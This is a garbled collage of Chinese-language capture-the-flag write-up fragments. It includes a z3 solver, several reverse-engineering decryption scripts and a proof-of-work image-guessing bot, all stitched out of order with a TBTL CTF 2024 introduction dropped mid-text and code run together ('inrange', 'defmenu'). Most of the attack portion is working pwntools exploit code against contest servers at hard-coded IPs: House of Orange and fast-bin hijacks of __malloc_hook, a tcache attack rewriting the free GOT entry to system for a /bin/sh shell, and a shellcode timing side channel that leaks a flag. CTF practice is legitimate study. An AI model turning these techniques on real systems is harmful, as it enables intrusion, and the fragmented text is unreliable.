s2 = "congratulationstoyoucongratulationstoy" for i inrange(flag_len): solver.add(s1[i] == ord(s2[i]))
if solver.check() == sat: model = solver.model() flag = ''.join([chr(model[flag_chars[i]].as_long()) for i inrange(flag_len)]) print(f'flag: {flag}') else: print('unsat')
有 syscall 但是没有 syscall ; ret ,因此我们的 ROP chain 最多只能有一次 raw syscall ,因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag :
1
flag{08c559f9-81f7-4c74-a983-9eb59502de34}
orange_cat_diary
首先用 IDA 反编译程序,在程序中发现以下漏洞:
heap overflow(8字节的溢出)
UAF(只能使用一次,因为只能 delete 一次)
write after free
read after free
再根据题目名称的提示可以知道,可以使用 House of Orange 进行攻击(利用 heap overflow 和 read after free),泄露出 libc 地址和堆地址。由于 libc 的版本为2.23,因此最简便的方法就是劫持 __malloc_hook 。使用 pwndbg 的 find_fake_fast 命令找到用于覆盖 __malloc_hook 内容的 fast bin 地址,然后利用 write after free 劫持 fast bin ,使其返回该 chunk ,然后将__realloc_hook写为one_gadget,将__malloc_hook写为realloc,这样做更容易满足one_gadget条件。 利用代码如下:
# p = binary.process() p = remote('8.147.129.254', 25553) p.recvuntil(b'Please tell me your name.\n') p.sendline(b'BeaCox')
defmenu(): p.recvuntil(b'###orange_cat_diary###') p.recvuntil(b'Please input your choice:')
defadd(size, content): menu() p.sendline(b'1') p.recvuntil(b'Please input the length of the diary content:') p.sendline(str(size).encode()) p.recvuntil(b'Please enter the diary content:\n') p.send(content)
defshow(): menu() p.sendline(b'2')
defdelete(): menu() p.sendline(b'3')
defedit(size, content): menu() p.sendline(b'4') p.recvuntil(b'Please input the length of the diary content:') p.sendline(str(size).encode()) p.recvuntil(b'Please enter the diary content:\n') p.send(content)
前言在 discord 上认识了一群来自世界各地的 ctfer,不过大家都不是什么老赛棍,just ctf for fun!有人在频道里提议参加TBTL CTF 2024,然后就组了个队。比赛时间2天,实际上没什么时间打,做了几个方向的新手友好题。不过队里有个哥们 web 方向 3/4,最后队伍排名36。Tower of Babel这是一道简单的社工题。mp3 文件里有这道题的提示:该标志的格式如常,我们的合作伙伴云海连锁控股有限公司总部位于海南岛海口附近。找到距离他们的办事处最近的银行。标志内的内容是该银行的统一社会信用代码。代码已以91开始,以56结束。首先搜这家公司,可以通过这个网站找到其地址,打开高德地图搜索“云海链8831栋”可以找到该公司位置,然后再搜周边——银行,可以看到最近的银行是海南澄迈农村商业银行股份有限公司科技支行。然后我们搜索其社会信用代码,得到91469027MA5TRBAW56。因此 flag 为 TBTL{91469027MA5TRBAW56}。Wikipedia Signatures这是一道非常简单的数字签名攻击题目。我们的目标是获取bytes_to_l
# convert to qrcode from PIL import Image MAX = 31 pic = Image.new("RGB",(MAX, MAX)) i=0 for y inrange (0,MAX): for x inrange (0,MAX): if(flag[i] == '1'): pic.putpixel([x,y],(0, 0, 0)) else: pic.putpixel([x,y],(255,255,255)) i = i+1 pic.show() pic.save("flag.png") # TBTL{Wh47_D1d_H3_5aY_D34r?_D14g0nal1y...}
defedit(length, payload): p.sendlineafter(b'Your choice:', b'3') p.sendlineafter(b'How many characters do you want to change:', str(length).encode()) p.send(payload)
for i, c inenumerate(shellcode1): # if c >= 0b10000000: # log.info("bad byte %s at index %d" % (hex(c), i)) # log.error(shellcode1) if i & 1 != c & 1: log.info("bad byte %s at index %d" % (hex(c), i)) log.error(shellcode1) if c & 1 == 1and c > 0x80: log.info("negative byte %s at index %d" % (hex(c), i)) log.error(shellcode1)
# we need brute force every byte of flag # the seach space is 0x20 ~ 0x7e search_space = [i for i inrange(0x20, 0x7e)]
flag_probable_len = 0x40 flag = '' for i inrange(flag_probable_len): for ch in search_space: # p = process(binary.path) p = remote('111.186.57.85',40245) p.recvuntil(b'Please input your shellcode: \n') ### stage1: call a read syscall to read shellcode p.send(shellcode1) ### stage2: fuck yeah! we can send shellcode without limitation now # but we have no write # so we have to use ways like side channel shellcode2 = asm(f''' lea rdi, [rip+flag] mov rsi, 0 mov rax, 2 syscall mov rdi, rax mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall loop: xor rax, rax xor rbx, rbx mov al, byte ptr[rsp+{i}] mov bl, {ch} cmp al, bl je loop flag: .string "./flag" ''') shellcode2 += b'\x90' * (0x200 - len(shellcode2)) p.send(shellcode2) # learned from changcheng cup... p.shutdown('send')
# now if ch is the right byte, the program will be in a dead loop # otherwise the program will die sleep(1) # if p.poll() == None: # flag += chr(ch) # print("flag is now: ", flag) # p.close() # break # else: # p.close() # continue try: detection = p.fileno() p.recv(timeout=0.1) flag += chr(ch) print("flag is now: ", flag) p.close() break except: p.close() continue
# we will use this to get libc leak and control free_got malloc(0,0x500, b'a') malloc(1,0x20,b'/bin/sh\x00') free(0)
# 2 is used to get control of tcache malloc(2,0x90, b'b') # 3 is used to make a tcache bin malloc(3,0x330, b'c') free(3) gdb.attach(p) edit(2,p64(heap_manager)*(0x90//8)) # now tcace bin is # 0x340 [ 1]: 0x4060b0 ◂— 0x0 # 0x350 [ 0]: 0x4060b0 ◂— ... payload=p64(0x1000)+p32(free_got) # now we control the heap_manager # we make index 0 's size 0x1000 # and we make index 1 's pointer to free_got malloc(3,0x330,payload) # this will puts what is on the free_got response = puts(0) libc_leak = response[-6:].ljust(8, b'\x00') libc.address = u64(libc_leak) - libc.sym['free'] info(f'[LEAK&CALC]: libc_base: {hex(libc.address)}') system = libc.sym['system'] # we overwrite free_got with system edit_0_end(0,p64(system)) # 1's pointer point to /bin/sh free(1) p.interactive()
v25 = p64(0xA39C3E6994313F40) + p64(0x17872470565B9B60) + p64(0x11A918AABA97CA68) + p64(0xB8F1B0AB9B3DD3B0) + p64(0x488749FB6A1835E4) + p64(0x82926F78FE98158) ct = p64(0xe3de41c1f389569c) + p64(0x3500a2b1a46c9bd1) + p64(0x890a29f3d010d481) + p64(0x200f1fca08a04513) + p64(0xc3ab5b0381564f00) + p64(0x08953b09bbf7fdc7) # tmp1 is the bytearray after xored tmp1 = bytearray() # each byte in tmp is the result of ct[i] - v25[i] for i inrange(48): if ct[i] < v25[i]: tmp1.append(ct[i] + 256 - v25[i]) else: tmp1.append(ct[i] - v25[i]) # tmp1 is the bytearray before xored with 0x28 for i inrange(48): tmp1[i] ^= 0x28 print(tmp1)
defreverse(cypher): # group cypher into 8 bytes cypher = [cypher[i:i+8] for i inrange(0, len(cypher), 8)] # for each group, we decrypt it for i inrange(len(cypher)): # swap BYTE3 and BYTE4 tmp = cypher[i][3] cypher[i][3] = cypher[i][4] cypher[i][4] = tmp for j inrange(8): cypher[i][j] += j + i*8 # swap BYTE2 and BYTE6 tmp = cypher[i][2] cypher[i][2] = cypher[i][6] cypher[i][6] = tmp # swap BYTE1 and BYTE7 tmp = cypher[i][1] cypher[i][1] = cypher[i][7] cypher[i][7] = tmp # swap BYTE0 and BYTE5 tmp = cypher[i][0] cypher[i][0] = cypher[i][5] cypher[i][5] = tmp
# get the result result = b'' for i inrange(len(cypher)): result += bytes(cypher[i]) print(result)
defsolve_pow(challenge, difficulty=4, timeout=0.5): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defsave_image(): count = 0 for i inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) # compared with the local images using b64, if the image is not in the local images, save it # using a uuid as the filename # if folder is empty, save the image directly ifnot os.listdir('images'): withopen(f'images/{uuid.uuid4()}.png', 'wb') as f: f.write(base64.b64decode(b64_image)) count += 1 else: save_flag = True for filename in os.listdir('images'): withopen(f'images/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): save_flag = False break if save_flag: withopen(f'images/{uuid.uuid4()}.png', 'wb') as f: f.write(base64.b64decode(b64_image)) count += 1
defsolve_pow(challenge, difficulty=4, timeout=0.5): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defeval_image(): for _ inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) for filename in os.listdir('images_model'): withopen(f'images_model/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): correct_answer = filename[-5].upper() file_list.append(filename) if correct_answer != 'Y'and correct_answer != 'N': correct_answer = 'N' correct_answers.append(correct_answer) break
p.recvuntil(b" all 20 rounds (Y/N): ") data = ''.join(correct_answers) info(data) p.sendline(data.encode())
whileTrue: correct_answers = [] file_list = [] p = remote('instance.penguin.0ops.sjtu.cn', 18081) p.send(b'CONNECT gmvfevkv2k6p982q:1 HTTP/1.1\r\n\r\n') p.recvuntil(b"solution + '") challenge = p.recvuntil(b"'", drop=True).decode() info(f"challenge: {challenge}") # p.interactive() solution = solve_pow(challenge) if solution isNone: p.close() continue info(f"solution: {solution}") p.sendline(solution.encode()) eval_image() try: response = p.recvuntil(b"Incorrect answer for Round ", timeout=0.3) wrong_round = p.recvuntil(b".", drop=True) info(f"wrong_round: {wrong_round}") wrong_round = int(wrong_round) wrong_filename = file_list[wrong_round - 1] # change the filename to the right answer(opposite of original answer) # modify the filename to the right answer correct_answer = correct_answers[wrong_round - 1] if correct_answer == 'Y': correct_answer = 'N' else: correct_answer = 'Y' right_filename = wrong_filename[:-5] + correct_answer + '.png' # append the wrong filename to log.txt withopen('log.txt', 'a') as f: f.write(f'{wrong_filename}\n') os.rename(f'images_model/{wrong_filename}', f'images_model/{right_filename}') p.close() continue except: break
defsolve_pow(challenge, difficulty=5, timeout=3): start_time = time.time() whileTrue: for solution in (f"{i:0{difficulty}x}"for i inrange(16 ** difficulty)): if verify_pow_solution(challenge, solution): return solution if time.time() - start_time >= timeout: returnNone defeval_image(): for _ inrange(20): p.recvuntil(b'Is this picture real or not (Y/N)? \n') b64_image = p.recvuntil(b'\n', drop=True) for filename in os.listdir('images_model'): withopen(f'images_model/{filename}', 'rb') as f: if base64.b64encode(f.read()).decode() == b64_image.decode(): correct_answer = filename[-5].upper() file_list.append(filename) if correct_answer != 'Y'and correct_answer != 'N': correct_answer = 'N' correct_answers.append(correct_answer) break
p.recvuntil(b" all 20 rounds (Y/N): ") data = ''.join(correct_answers) info(data) p.sendline(data.encode())